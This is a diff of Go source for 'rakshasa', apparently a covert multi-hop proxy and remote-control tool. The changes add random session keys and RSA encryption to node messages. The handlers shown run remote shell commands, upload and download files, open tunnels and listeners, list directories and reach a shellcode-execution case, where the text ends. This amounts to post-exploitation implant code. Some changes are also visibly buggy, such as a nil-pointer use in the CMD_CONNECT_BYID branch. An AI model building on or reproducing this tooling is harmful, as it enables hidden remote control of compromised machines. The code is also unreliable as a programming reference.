@@ -2,12 +2,15 @@ package server
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"hash/crc32"
|
||||
"log"
|
||||
"math/rand"
|
||||
"net"
|
||||
"net/url"
|
||||
"os"
|
||||
"cert"
|
||||
"rakshasa/common"
|
||||
"rakshasa/httppool"
|
||||
"runtime/debug"
|
||||
@@ -15,6 +18,7 @@ import (
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"github.com/luyu6056/ishell"
|
||||
)
|
||||
@@ -42,32 +46,34 @@ type httpProxyClient struct {
|
||||
pool *httppool.HttpPool
|
||||
remoteAddr string
|
||||
remotePort string
|
||||
randkey []byte
|
||||
}
|
||||
|
||||
func (s *httpProxyClient) Write(b []byte) {
|
||||
|
||||
switch b[0] {
|
||||
|
||||
case common.CMD_CONNECT_BYIDADDR_RESULT:
|
||||
|
||||
switch common.NetWork(b[1]) {
|
||||
if string(s.randkey) != string(b[1:9]) {
|
||||
return
|
||||
}
|
||||
switch common.NetWork(b[9]) {
|
||||
|
||||
case common.RAW_TCP:
|
||||
if b[2] != 1 {
|
||||
if b[10] != 1 {
|
||||
go func() { s.Close("") }()
|
||||
} else if s.method == "CONNECT" {
|
||||
s.conn.Write([]byte("HTTP/1.0 200 Connection established\r\n\r\n"))
|
||||
}
|
||||
case common.RAW_TCP_WITH_PROXY:
|
||||
|
||||
if b[2] != 1 {
|
||||
if b[10] != 1 {
|
||||
//重新拉取一个池
|
||||
s.connect()
|
||||
} else if s.method == "CONNECT" {
|
||||
s.conn.Write([]byte("HTTP/1.0 200 Connection established\r\n\r\n"))
|
||||
}
|
||||
default:
|
||||
log.Println("未处理")
|
||||
log.Println("httpProxyClient 未处理")
|
||||
}
|
||||
|
||||
case common.CMD_CONN_MSG:
|
||||
@@ -165,7 +171,9 @@ func StartHttpProxy(cfg *common.Addr, dst []string, poolfile string) error {
|
||||
localAddr: cfg.Addr(),
|
||||
id: common.GetID(),
|
||||
typ: "http",
|
||||
randkey: make([]byte, 8),
|
||||
}
|
||||
binary.LittleEndian.PutUint64(l.randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
|
||||
l.listen, err = StartHttpProxyWithServer(cfg, target, l.id, pool)
|
||||
if err != nil {
|
||||
|
||||
@@ -180,7 +188,8 @@ func StartHttpProxyWithServer(cfg *common.Addr, n *node, id uint32, pool *httppo
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
randkey := make([]byte, 8)
|
||||
binary.LittleEndian.PutUint64(randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
|
||||
fmt.Println("httpproxy start ", cfg.Addr())
|
||||
go func() {
|
||||
for {
|
||||
@@ -198,6 +207,7 @@ func StartHttpProxyWithServer(cfg *common.Addr, n *node, id uint32, pool *httppo
|
||||
server: n,
|
||||
listenId: id,
|
||||
pool: pool,
|
||||
randkey: randkey,
|
||||
}
|
||||
go handleHttpProxyLocal(s)
|
||||
}
|
||||
@@ -354,7 +364,8 @@ func (s *httpProxyClient) connect() {
|
||||
buf[0] = byte(common.RAW_TCP_WITH_PROXY)
|
||||
buf = append(buf, []byte(" "+proxy.String())...)
|
||||
}
|
||||
s.server.Write(common.CMD_CONNECT_BYIDADDR, s.id, buf)
|
||||
|
||||
s.server.Write(common.CMD_CONNECT_BYIDADDR, s.id, cert.RSAEncrypterByPrivByte(append(s.randkey,buf...)))
|
||||
if value, ok := s.server.listenMap.Load(s.listenId); ok {
|
||||
switch v := value.(type) {
|
||||
case *serverListen:
|
||||
@@ -377,7 +388,7 @@ func (s *httpProxyClient) Remoteclose() {
|
||||
buf[1] = byte(s.id >> 8)
|
||||
buf[2] = byte(s.id >> 16)
|
||||
buf[3] = byte(s.id >> 24)
|
||||
s.server.Write(common.CMD_DELETE_LISTENCONN_BYID, s.listenId, buf)
|
||||
s.server.Write(common.CMD_DELETE_LISTENCONN_BYID, s.listenId, append(s.randkey,buf...))
|
||||
|
||||
}
|
||||
func init() {
|
||||
@@ -454,7 +465,7 @@ func init() {
|
||||
c.Println("没有找到ID为", id, "的连接")
|
||||
} else {
|
||||
l.Close("命令行关闭")
|
||||
l.server.Write(common.CMD_DELETE_LISTEN, l.id, nil)
|
||||
l.server.Write(common.CMD_DELETE_LISTEN, l.id, l.randkey)
|
||||
currentNode.listenMap.Delete(uint32(id))
|
||||
|
||||
}
|
||||
@@ -514,7 +525,6 @@ func parsereq(req *http1request, data []byte) (clen int, resdata []byte, err err
|
||||
}
|
||||
}()
|
||||
|
||||
|
||||
// method, path, proto line
|
||||
|
||||
req.Proto = ""
|
||||
|
||||
+246
-172
@@ -2,6 +2,7 @@ package server
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"cert"
|
||||
"crypto/tls"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
@@ -11,10 +12,8 @@ import (
|
||||
"math/rand"
|
||||
"net"
|
||||
"os"
|
||||
"rakshasa/cert"
|
||||
"rakshasa/common"
|
||||
"runtime"
|
||||
"runtime/debug"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
@@ -189,14 +188,16 @@ type node struct {
|
||||
listen net.Listener
|
||||
nextPingTime int64
|
||||
|
||||
waitMsg []*common.Msg //需要等待处理的消息
|
||||
mirrorNode *node //currentNode会生成一个互为mirror的node,以实现client-server功能,比如httpProxy在单节点启动
|
||||
waitMsg []*common.Msg //需要等待处理的消息
|
||||
mirrorNode *node //currentNode会生成一个互为mirror的node,以实现client-server功能,比如httpProxy在单节点启动
|
||||
isClose int32
|
||||
reConnectAddrs []string //重连节点需要的信息
|
||||
}
|
||||
type nodeInfo struct {
|
||||
UUID string
|
||||
HostName string
|
||||
MainIp string
|
||||
Port int
|
||||
Port string
|
||||
Goos string
|
||||
}
|
||||
|
||||
@@ -225,18 +226,21 @@ func connectNew(addr string) (n *node, e error) {
|
||||
addrs, e := i.Addrs()
|
||||
if e == nil {
|
||||
for _, localAddr := range addrs {
|
||||
go func() {
|
||||
go func(localAddr net.Addr) {
|
||||
localstr := localAddr.String()
|
||||
localstr = localstr[:strings.LastIndex(localstr, "/")] + ":0"
|
||||
laddr, _ := net.ResolveTCPAddr("tcp", localstr)
|
||||
if netconn, e := net.DialTCP("tcp", laddr, raddr); e == nil {
|
||||
conn := tls.Client(netconn, config)
|
||||
select {
|
||||
case connChan <- conn:
|
||||
default:
|
||||
if laddr!=nil{
|
||||
if netconn, e := net.DialTCP("tcp", laddr, raddr); e == nil {
|
||||
conn := tls.Client(netconn, config)
|
||||
select {
|
||||
case connChan <- conn:
|
||||
default:
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
}(localAddr)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -274,6 +278,8 @@ func connectNew(addr string) (n *node, e error) {
|
||||
case err = <-c.regResult:
|
||||
return nil, err
|
||||
case n = <-c.regResultNode:
|
||||
//连接成功
|
||||
n.reConnectAddrs = []string{addr}
|
||||
return n, err
|
||||
case <-time.After(time.Second * 10):
|
||||
return nil, errors.New("time out")
|
||||
@@ -297,9 +303,7 @@ func (n *node) Write(option uint8, id uint32, b []byte) {
|
||||
if common.Debug {
|
||||
fmt.Println("write", msg.From, msg.To, common.CmdToName[msg.CmdOpteion], len(b))
|
||||
}
|
||||
if len(b) == 195 {
|
||||
debug.PrintStack()
|
||||
}
|
||||
|
||||
if n.conn != nil {
|
||||
n.conn.OutChan <- b
|
||||
} else {
|
||||
@@ -325,9 +329,11 @@ func (n *node) do(msg *common.Msg) {
|
||||
//fmt.Println(common.CmdToName[msg.CmdOpteion])
|
||||
switch msg.CmdOpteion {
|
||||
case common.CMD_CONNECT_BYIDADDR:
|
||||
|
||||
msg.CmdData = cert.RSADecrypterByPubByte(msg.CmdData)
|
||||
if len(msg.CmdData) < 9 {
|
||||
return
|
||||
}
|
||||
conn := &serverConnect{}
|
||||
|
||||
conn.node = n
|
||||
conn.id = msg.CmdId
|
||||
conn.write = make(chan *bytes.Buffer, 64)
|
||||
@@ -335,9 +341,11 @@ func (n *node) do(msg *common.Msg) {
|
||||
conn.windowsSize = 0
|
||||
conn.wait = make(chan int)
|
||||
n.connMap.Store(conn.id, conn)
|
||||
addr := string(msg.CmdData[1:])
|
||||
conn.randkey = make([]byte, 8)
|
||||
copy(conn.randkey, msg.CmdData)
|
||||
addr := string(msg.CmdData[9:])
|
||||
|
||||
switch common.NetWork(msg.CmdData[0]) {
|
||||
switch common.NetWork(msg.CmdData[8]) {
|
||||
case common.SOCKS5_CMD_CONNECT:
|
||||
conn.address = addr
|
||||
go conn.doConnectTcp(common.SOCKS5_CMD_CONNECT, addr)
|
||||
@@ -350,16 +358,18 @@ func (n *node) do(msg *common.Msg) {
|
||||
case common.SOCKS5_CMD_BIND:
|
||||
_l, err := net.Listen("tcp", addr)
|
||||
if err != nil {
|
||||
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
|
||||
data := append(conn.randkey, 0)
|
||||
data = append(data, err.Error()...)
|
||||
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, data)
|
||||
return
|
||||
}
|
||||
|
||||
l := &serverListen{listen: _l, node: n, isSocks5: true, id: common.GetID(), replayid: msg.CmdId}
|
||||
l := &serverListen{listen: _l, node: n, isSocks5: true, id: common.GetID(), replayid: msg.CmdId, randkey: conn.randkey}
|
||||
|
||||
n.connMap.Delete(conn.id)
|
||||
l.socks5Replay = make([]byte, len(msg.CmdData))
|
||||
copy(l.socks5Replay, msg.CmdData)
|
||||
n.Write(common.CMD_CONNECT_BYIDADDR_RESULT, l.replayid, l.socks5Replay)
|
||||
l.socks5Replay = make([]byte, len(msg.CmdData[8:]))
|
||||
copy(l.socks5Replay, msg.CmdData[8:])
|
||||
n.Write(common.CMD_CONNECT_BYIDADDR_RESULT, l.replayid, append(l.randkey, l.socks5Replay...))
|
||||
n.listenMap.Store(l.id, l)
|
||||
go l.Lisen()
|
||||
}
|
||||
@@ -432,20 +442,22 @@ func (n *node) do(msg *common.Msg) {
|
||||
return
|
||||
}
|
||||
|
||||
n.hostName = regmsg.Hostname
|
||||
n.mainIp = regmsg.MainIp
|
||||
n.port = regmsg.Port
|
||||
n.goos = regmsg.Goos
|
||||
n.hostName = cert.RSADecrypterStr(regmsg.Hostname)
|
||||
n.mainIp = cert.RSADecrypterStr(regmsg.MainIp)
|
||||
if n.port, err = strconv.Atoi(cert.RSADecrypterStr(regmsg.Port)); err != nil {
|
||||
n.port = -1
|
||||
}
|
||||
n.goos = cert.RSADecrypterStr(regmsg.Goos)
|
||||
n.addr = n.conn.nodeConn.RemoteAddr().String()
|
||||
if i := strings.Index(n.addr, ":"); i > -1 {
|
||||
n.addr = n.addr[:i]
|
||||
}
|
||||
resultMsg := regmsg
|
||||
resultMsg.UUID = currentNode.uuid
|
||||
resultMsg.Hostname = currentNode.hostName
|
||||
resultMsg.MainIp = currentNode.mainIp
|
||||
resultMsg.Port = currentNode.port
|
||||
resultMsg.Goos = currentNode.goos
|
||||
resultMsg.Hostname = cert.RSAEncrypterStr(currentNode.hostName)
|
||||
resultMsg.MainIp = cert.RSAEncrypterStr(currentNode.mainIp)
|
||||
resultMsg.Port = cert.RSAEncrypterStr(strconv.Itoa(currentNode.port))
|
||||
resultMsg.Goos = cert.RSAEncrypterStr(currentNode.goos)
|
||||
|
||||
b, _ := json.Marshal(resultMsg)
|
||||
//返回成功结果
|
||||
@@ -461,6 +473,8 @@ func (n *node) do(msg *common.Msg) {
|
||||
|
||||
}
|
||||
currentNode.broadcastNode()
|
||||
//把本机所有节点同步到注册机器
|
||||
go n.writeGetNodeResult(msg.CmdId)
|
||||
}()
|
||||
case common.CMD_REG_RESULT:
|
||||
var regmsg common.RegMsg
|
||||
@@ -487,22 +501,26 @@ func (n *node) do(msg *common.Msg) {
|
||||
l := clientLock.Lock()
|
||||
|
||||
n.uuid = regmsg.UUID
|
||||
n.hostName = regmsg.Hostname
|
||||
n.goos = regmsg.Goos
|
||||
n.hostName = cert.RSADecrypterStr(regmsg.Hostname)
|
||||
n.goos = cert.RSADecrypterStr(regmsg.Goos)
|
||||
n.addr = n.conn.nodeConn.RemoteAddr().String()
|
||||
if i := strings.Index(n.addr, ":"); i > -1 {
|
||||
n.addr = n.addr[:i]
|
||||
}
|
||||
workconn := n.conn
|
||||
n.mainIp = regmsg.MainIp
|
||||
n.port = regmsg.Port
|
||||
n.mainIp = cert.RSADecrypterStr(regmsg.MainIp)
|
||||
if n.port, err = strconv.Atoi(cert.RSADecrypterStr(regmsg.Port)); err != nil {
|
||||
n.port = -1
|
||||
}
|
||||
if v, ok := nodeMap[regmsg.UUID]; ok {
|
||||
if v.conn.node != nil && v.conn.node.uuid == regmsg.UUID && v.conn.closeTag == 0 {
|
||||
n.uuid = "" //清空uuid避免正常的node被删
|
||||
n.conn.Close("重复注册") //当前的连接关掉
|
||||
n.conn = v.conn
|
||||
v.mainIp = regmsg.MainIp
|
||||
v.port = regmsg.Port
|
||||
v.mainIp = cert.RSADecrypterStr(regmsg.MainIp)
|
||||
if v.port, err = strconv.Atoi(cert.RSADecrypterStr(regmsg.Port)); err != nil {
|
||||
v.port = -1
|
||||
}
|
||||
n = v
|
||||
} else {
|
||||
n.conn.node = n
|
||||
@@ -523,8 +541,8 @@ func (n *node) do(msg *common.Msg) {
|
||||
default:
|
||||
}
|
||||
|
||||
//回复节点
|
||||
//n.writeGetNodeResult(msg.CmdId)
|
||||
//交换节点
|
||||
n.writeGetNodeResult(msg.CmdId)
|
||||
|
||||
case common.CMD_REMOTE_REG:
|
||||
|
||||
@@ -543,11 +561,11 @@ func (n *node) do(msg *common.Msg) {
|
||||
if err == nil {
|
||||
|
||||
regmsg.UUID = newNode.uuid
|
||||
regmsg.Hostname = newNode.hostName
|
||||
regmsg.ViaUUID = currentNode.uuid
|
||||
regmsg.MainIp = newNode.mainIp
|
||||
regmsg.Port = newNode.port
|
||||
regmsg.Goos = newNode.goos
|
||||
regmsg.Hostname = cert.RSADecrypterStr(newNode.hostName)
|
||||
regmsg.ViaUUID = cert.RSADecrypterStr(currentNode.uuid)
|
||||
regmsg.MainIp = cert.RSADecrypterStr(newNode.mainIp)
|
||||
regmsg.Port = cert.RSADecrypterStr(strconv.Itoa(newNode.port))
|
||||
regmsg.Goos = cert.RSADecrypterStr(newNode.goos)
|
||||
b, _ := json.Marshal(regmsg)
|
||||
n.Write(common.CMD_REMOTE_REG_RESULT, msg.CmdId, b)
|
||||
}
|
||||
@@ -579,10 +597,10 @@ func (n *node) do(msg *common.Msg) {
|
||||
if targetNode, ok = nodeMap[regmsg.UUID]; !ok {
|
||||
targetNode = getNewNode(nodeInfo{
|
||||
UUID: regmsg.UUID,
|
||||
HostName: regmsg.Hostname,
|
||||
MainIp: regmsg.MainIp,
|
||||
Port: regmsg.Port,
|
||||
Goos: regmsg.Goos,
|
||||
HostName: cert.RSADecrypterStr(regmsg.Hostname),
|
||||
MainIp: cert.RSADecrypterStr(regmsg.MainIp),
|
||||
Port: cert.RSADecrypterStr(regmsg.Port),
|
||||
Goos: cert.RSADecrypterStr(regmsg.Goos),
|
||||
}, n)
|
||||
if common.Debug {
|
||||
fmt.Printf("nodeMap4 %s %p \r\n", regmsg.UUID, n)
|
||||
@@ -591,10 +609,10 @@ func (n *node) do(msg *common.Msg) {
|
||||
} else {
|
||||
targetNode.updateNode(nodeInfo{
|
||||
UUID: regmsg.UUID,
|
||||
HostName: regmsg.Hostname,
|
||||
MainIp: regmsg.MainIp,
|
||||
Port: regmsg.Port,
|
||||
Goos: regmsg.Goos,
|
||||
HostName: cert.RSADecrypterStr(regmsg.Hostname),
|
||||
MainIp: cert.RSADecrypterStr(regmsg.MainIp),
|
||||
Port: cert.RSADecrypterStr(regmsg.Port),
|
||||
Goos: cert.RSADecrypterStr(regmsg.Goos),
|
||||
})
|
||||
}
|
||||
v <- targetNode
|
||||
@@ -603,8 +621,7 @@ func (n *node) do(msg *common.Msg) {
|
||||
}
|
||||
|
||||
l.Unlock()
|
||||
//fmt.Printf("connect to %s(%s) success\n", regmsg.UUID, regmsg.RegAddr)
|
||||
//n.writeGetNodeResult(msg.CmdId)
|
||||
n.writeGetNodeResult(msg.CmdId)
|
||||
|
||||
case common.CMD_PING:
|
||||
n.Write(common.CMD_PONG, msg.CmdId, append(msg.CmdData, n.conn.nodeConn.LocalAddr().String()...))
|
||||
@@ -670,86 +687,121 @@ func (n *node) do(msg *common.Msg) {
|
||||
|
||||
}
|
||||
case common.CMD_LISTEN:
|
||||
|
||||
msg.CmdData = cert.RSADecrypterByPubByte(msg.CmdData)
|
||||
if len(msg.CmdData) < 8 {
|
||||
return
|
||||
}
|
||||
randkey := make([]byte, 8)
|
||||
copy(randkey, msg.CmdData)
|
||||
//fmt.Println("listen", string(data[common.Headlen+4:]))
|
||||
_l, err := net.Listen("tcp", string(msg.CmdData))
|
||||
_l, err := net.Listen("tcp", string(msg.CmdData[8:]))
|
||||
if err != nil {
|
||||
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
|
||||
data := append(randkey, 0)
|
||||
data = append(randkey, err.Error()...)
|
||||
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, data)
|
||||
return
|
||||
} else {
|
||||
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, []byte{1})
|
||||
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append(randkey, 1))
|
||||
}
|
||||
l := &serverListen{listen: _l, node: n, id: msg.CmdId}
|
||||
l := &serverListen{listen: _l, node: n, id: msg.CmdId, randkey: randkey}
|
||||
n.listenMap.Store(msg.CmdId, l)
|
||||
|
||||
go l.Lisen()
|
||||
case common.CMD_REMOTE_SOCKS5:
|
||||
|
||||
cfg, err := common.ParseAddr(string(msg.CmdData))
|
||||
if err != nil {
|
||||
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
|
||||
msg.CmdData = cert.RSADecrypterByPubByte(msg.CmdData)
|
||||
if len(msg.CmdData) < 8 {
|
||||
return
|
||||
}
|
||||
l := &serverListen{node: n, id: msg.CmdId}
|
||||
randkey := make([]byte, 8)
|
||||
copy(randkey, msg.CmdData)
|
||||
|
||||
cfg, err := common.ParseAddr(string(msg.CmdData[8:]))
|
||||
if err != nil {
|
||||
data := append(randkey, 0)
|
||||
data = append(data, err.Error()...)
|
||||
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, data)
|
||||
return
|
||||
}
|
||||
l := &serverListen{node: n, id: msg.CmdId, randkey: randkey}
|
||||
l.listen, err = StartSocks5WithServer(cfg, n, l.id)
|
||||
if err != nil {
|
||||
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
|
||||
data := append(randkey, 0)
|
||||
data = append(data, err.Error()...)
|
||||
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, data)
|
||||
return
|
||||
} else {
|
||||
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, []byte{1})
|
||||
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append(randkey, 1))
|
||||
}
|
||||
|
||||
n.listenMap.Store(l.id, l)
|
||||
|
||||
case common.CMD_LISTEN_RESULT:
|
||||
|
||||
if len(msg.CmdData) < 9 {
|
||||
return
|
||||
}
|
||||
if v, ok := currentNode.listenMap.Load(msg.CmdId); ok {
|
||||
if c, ok := v.(*clientListen); ok {
|
||||
if msg.CmdData[0] == 0 {
|
||||
select {
|
||||
case c.result <- errors.New(string(msg.CmdData[1:])):
|
||||
default:
|
||||
}
|
||||
if string(c.randkey) == string(msg.CmdData[:8]) {
|
||||
if msg.CmdData[8] == 0 {
|
||||
select {
|
||||
case c.result <- errors.New(string(msg.CmdData[9:])):
|
||||
default:
|
||||
}
|
||||
|
||||
} else {
|
||||
select {
|
||||
case c.result <- nil:
|
||||
default:
|
||||
} else {
|
||||
select {
|
||||
case c.result <- nil:
|
||||
default:
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
case common.CMD_DELETE_LISTEN:
|
||||
if len(msg.CmdData) < 8 {
|
||||
return
|
||||
}
|
||||
if v, ok := n.listenMap.Load(msg.CmdId); ok {
|
||||
switch s := v.(type) {
|
||||
case *serverListen:
|
||||
s.Close(remoteClose)
|
||||
case *clientListen:
|
||||
s.Close(remoteClose)
|
||||
}
|
||||
|
||||
}
|
||||
n.listenMap.Delete(msg.CmdId)
|
||||
case common.CMD_DELETE_LISTENCONN_BYID:
|
||||
deleteId := uint32(msg.CmdData[0]) | uint32(msg.CmdData[1])<<8 | uint32(msg.CmdData[2])<<16 | uint32(msg.CmdData[3])<<24
|
||||
if v, ok := n.listenMap.Load(msg.CmdId); ok {
|
||||
if s, ok := v.(*serverListen); ok {
|
||||
conn, ok := s.connMap.Load(deleteId)
|
||||
if ok {
|
||||
conn.(*serverConnect).Close(remoteClose)
|
||||
s.connMap.Delete(deleteId)
|
||||
if string(s.randkey) == string(msg.CmdData[:8]) {
|
||||
s.Close(remoteClose)
|
||||
n.listenMap.Delete(msg.CmdId)
|
||||
}
|
||||
|
||||
case *clientListen:
|
||||
if string(s.randkey) == string(msg.CmdData[:8]) {
|
||||
s.Close(remoteClose)
|
||||
n.listenMap.Delete(msg.CmdId)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
case common.CMD_DELETE_LISTENCONN_BYID:
|
||||
if len(msg.CmdData) != 12 {
|
||||
return
|
||||
}
|
||||
deleteId := uint32(msg.CmdData[8]) | uint32(msg.CmdData[9])<<8 | uint32(msg.CmdData[10])<<16 | uint32(msg.CmdData[11])<<24
|
||||
if v, ok := n.listenMap.Load(msg.CmdId); ok {
|
||||
if s, ok := v.(*serverListen); ok {
|
||||
if string(s.randkey) == string(msg.CmdData[:8]) {
|
||||
conn, ok := s.connMap.Load(deleteId)
|
||||
if ok {
|
||||
conn.(*serverConnect).Close(remoteClose)
|
||||
s.connMap.Delete(deleteId)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
case common.CMD_PWD:
|
||||
pwd, _ := os.Getwd()
|
||||
n.Write(common.CMD_PWD_RESULT, msg.CmdId, []byte(pwd))
|
||||
if currentConfig.Password == cert.RSADecrypterByPub(string(msg.CmdData)) {
|
||||
pwd, _ := os.Getwd()
|
||||
n.Write(common.CMD_PWD_RESULT, msg.CmdId, []byte(pwd))
|
||||
}
|
||||
|
||||
case common.CMD_PWD_RESULT:
|
||||
if v, ok := n.loadQuery(msg.CmdId); ok {
|
||||
select {
|
||||
@@ -768,13 +820,20 @@ func (n *node) do(msg *common.Msg) {
|
||||
err = json.Unmarshal(msg.CmdData, &s)
|
||||
if err == nil {
|
||||
for _, _n := range s {
|
||||
_n = nodeInfo{
|
||||
UUID: _n.UUID,
|
||||
HostName: cert.RSADecrypterStr(_n.HostName),
|
||||
MainIp: cert.RSADecrypterStr(_n.MainIp),
|
||||
Port: cert.RSADecrypterStr(_n.Port),
|
||||
Goos: cert.RSADecrypterStr(_n.Goos),
|
||||
}
|
||||
if _n.UUID != currentNode.uuid {
|
||||
if v, ok := nodeMap[_n.UUID]; !ok {
|
||||
nodeMap[_n.UUID] = getNewNode(_n, n)
|
||||
} else {
|
||||
v.hostName = _n.HostName
|
||||
v.mainIp = _n.MainIp
|
||||
v.port = _n.Port
|
||||
v.port, _ = strconv.Atoi(_n.Port)
|
||||
}
|
||||
|
||||
}
|
||||
@@ -789,12 +848,12 @@ func (n *node) do(msg *common.Msg) {
|
||||
}
|
||||
}
|
||||
case common.CMD_GET_CURRENT_NODE:
|
||||
nmsg := nodeInfo{
|
||||
nmsg := &nodeInfo{
|
||||
UUID: currentNode.uuid,
|
||||
HostName: currentNode.hostName,
|
||||
MainIp: currentNode.mainIp,
|
||||
Port: currentNode.port,
|
||||
Goos: currentNode.goos,
|
||||
HostName: cert.RSAEncrypterStr(currentNode.hostName),
|
||||
MainIp: cert.RSAEncrypterStr(currentNode.mainIp),
|
||||
Port: cert.RSAEncrypterStr(fmt.Sprint(currentNode.port)),
|
||||
Goos: cert.RSAEncrypterStr(currentNode.goos),
|
||||
}
|
||||
b, _ := json.Marshal(nmsg)
|
||||
n.Write(common.CMD_GET_CURRENT_NODE_RESULT, msg.CmdId, b)
|
||||
@@ -817,11 +876,16 @@ func (n *node) do(msg *common.Msg) {
|
||||
|
||||
nodeMap[nmsg.UUID] = newNode
|
||||
} else if nmsg.UUID != currentNode.uuid {
|
||||
port, err := strconv.Atoi(cert.RSADecrypterStr(nmsg.Port))
|
||||
if err == nil {
|
||||
v.port = port
|
||||
} else {
|
||||
v.port = -1
|
||||
}
|
||||
|
||||
v.port = nmsg.Port
|
||||
v.mainIp = nmsg.MainIp
|
||||
v.hostName = nmsg.HostName
|
||||
v.goos = nmsg.Goos
|
||||
v.mainIp = cert.RSADecrypterStr(nmsg.MainIp)
|
||||
v.hostName = cert.RSADecrypterStr(nmsg.HostName)
|
||||
v.goos = cert.RSADecrypterStr(nmsg.Goos)
|
||||
v.uuid = nmsg.UUID
|
||||
if common.Debug {
|
||||
fmt.Printf("nodeMap6 %s %p \r\n", nmsg.UUID, v)
|
||||
@@ -832,7 +896,7 @@ func (n *node) do(msg *common.Msg) {
|
||||
}
|
||||
case common.CMD_DIR:
|
||||
|
||||
dirPth := string(msg.CmdData)
|
||||
dirPth := cert.RSADecrypterByPub(string(msg.CmdData))
|
||||
dir, err := ioutil.ReadDir(dirPth)
|
||||
if err != nil {
|
||||
n.Write(common.CMD_DIR_RESULT, msg.CmdId, []byte("读取目录 "+dirPth+" 失败"))
|
||||
@@ -872,7 +936,7 @@ func (n *node) do(msg *common.Msg) {
|
||||
}
|
||||
|
||||
case common.CMD_CD:
|
||||
dirPth := string(msg.CmdData)
|
||||
dirPth := cert.RSADecrypterByPub(string(msg.CmdData))
|
||||
s, err := os.Stat(dirPth)
|
||||
if err != nil {
|
||||
n.Write(common.CMD_CD_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
|
||||
@@ -899,12 +963,17 @@ func (n *node) do(msg *common.Msg) {
|
||||
}
|
||||
|
||||
case common.CMD_CONNECT_BYID:
|
||||
|
||||
var l *clientListen
|
||||
if v, ok := currentNode.listenMap.Load(msg.CmdId); ok {
|
||||
l, _ = v.(*clientListen)
|
||||
}
|
||||
if l == nil {
|
||||
n.Write(common.CMD_DELETE_LISTEN, msg.CmdId, nil)
|
||||
n.Write(common.CMD_DELETE_LISTEN, msg.CmdId, l.randkey)
|
||||
return
|
||||
}
|
||||
if len(msg.CmdData) < 8 || string(l.randkey) != string(msg.CmdData[:8]) {
|
||||
n.Write(common.CMD_DELETE_LISTEN, msg.CmdId, l.randkey)
|
||||
return
|
||||
}
|
||||
//l := clientLock.Lock()
|
||||
@@ -912,17 +981,16 @@ func (n *node) do(msg *common.Msg) {
|
||||
//l.Unlock()
|
||||
conn, err := net.Dial("tcp", l.localAddr)
|
||||
if err != nil {
|
||||
n.Write(common.CMD_DELETE_LISTENCONN_BYID, l.id, msg.CmdData)
|
||||
n.Write(common.CMD_DELETE_LISTENCONN_BYID, l.id, append(l.randkey, msg.CmdData...))
|
||||
return
|
||||
}
|
||||
client := &clientConnect{}
|
||||
client.id = uint32(msg.CmdData[0]) | uint32(msg.CmdData[1])<<8 | uint32(msg.CmdData[2])<<16 | uint32(msg.CmdData[3])<<24
|
||||
|
||||
client.id = uint32(msg.CmdData[8]) | uint32(msg.CmdData[9])<<8 | uint32(msg.CmdData[10])<<16 | uint32(msg.CmdData[11])<<24
|
||||
client.server = l.server
|
||||
client.listenId = msg.CmdId
|
||||
client.conn = conn
|
||||
client.OnOpened()
|
||||
|
||||
client.randkey = append([]byte{}, l.randkey...)
|
||||
l.connMap.Store(client.id, client)
|
||||
l.server.connMap.Store(client.id, client)
|
||||
go rawHandleLocal(client)
|
||||
@@ -954,6 +1022,7 @@ func (n *node) do(msg *common.Msg) {
|
||||
}
|
||||
}
|
||||
case common.CMD_UPLOAD:
|
||||
msg.CmdData = cert.RSADecrypterByPubByte(msg.CmdData)
|
||||
i := bytes.IndexByte(msg.CmdData, 0)
|
||||
if i == -1 {
|
||||
n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "协议错误"...))
|
||||
@@ -1006,6 +1075,7 @@ func (n *node) do(msg *common.Msg) {
|
||||
|
||||
}
|
||||
case common.CMD_DOWNLOAD:
|
||||
msg.CmdData = cert.RSADecrypterByPubByte(msg.CmdData)
|
||||
i := bytes.IndexByte(msg.CmdData, 0)
|
||||
file := string(msg.CmdData[:i])
|
||||
offset := int64(msg.CmdData[i+1]) | int64(msg.CmdData[i+2])<<8 | int64(msg.CmdData[i+3])<<16 | int64(msg.CmdData[i+4])<<24 | int64(msg.CmdData[i+5])<<32 | int64(msg.CmdData[i+6])<<40 | int64(msg.CmdData[i+7])<<48 | int64(msg.CmdData[i+8])<<56
|
||||
@@ -1067,7 +1137,7 @@ func (n *node) do(msg *common.Msg) {
|
||||
}
|
||||
case common.CMD_SHELL:
|
||||
var param StartCmdParam
|
||||
if err = json.Unmarshal(msg.CmdData, ¶m); err != nil {
|
||||
if err = json.Unmarshal(cert.RSADecrypterByPubByte(msg.CmdData), ¶m); err != nil {
|
||||
n.Write(common.CMD_SHELL_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
|
||||
}
|
||||
if err := startCMD(n, msg.CmdId, param); err != nil {
|
||||
@@ -1104,8 +1174,7 @@ func (n *node) do(msg *common.Msg) {
|
||||
case common.CMD_RUN_SHELLCODE:
|
||||
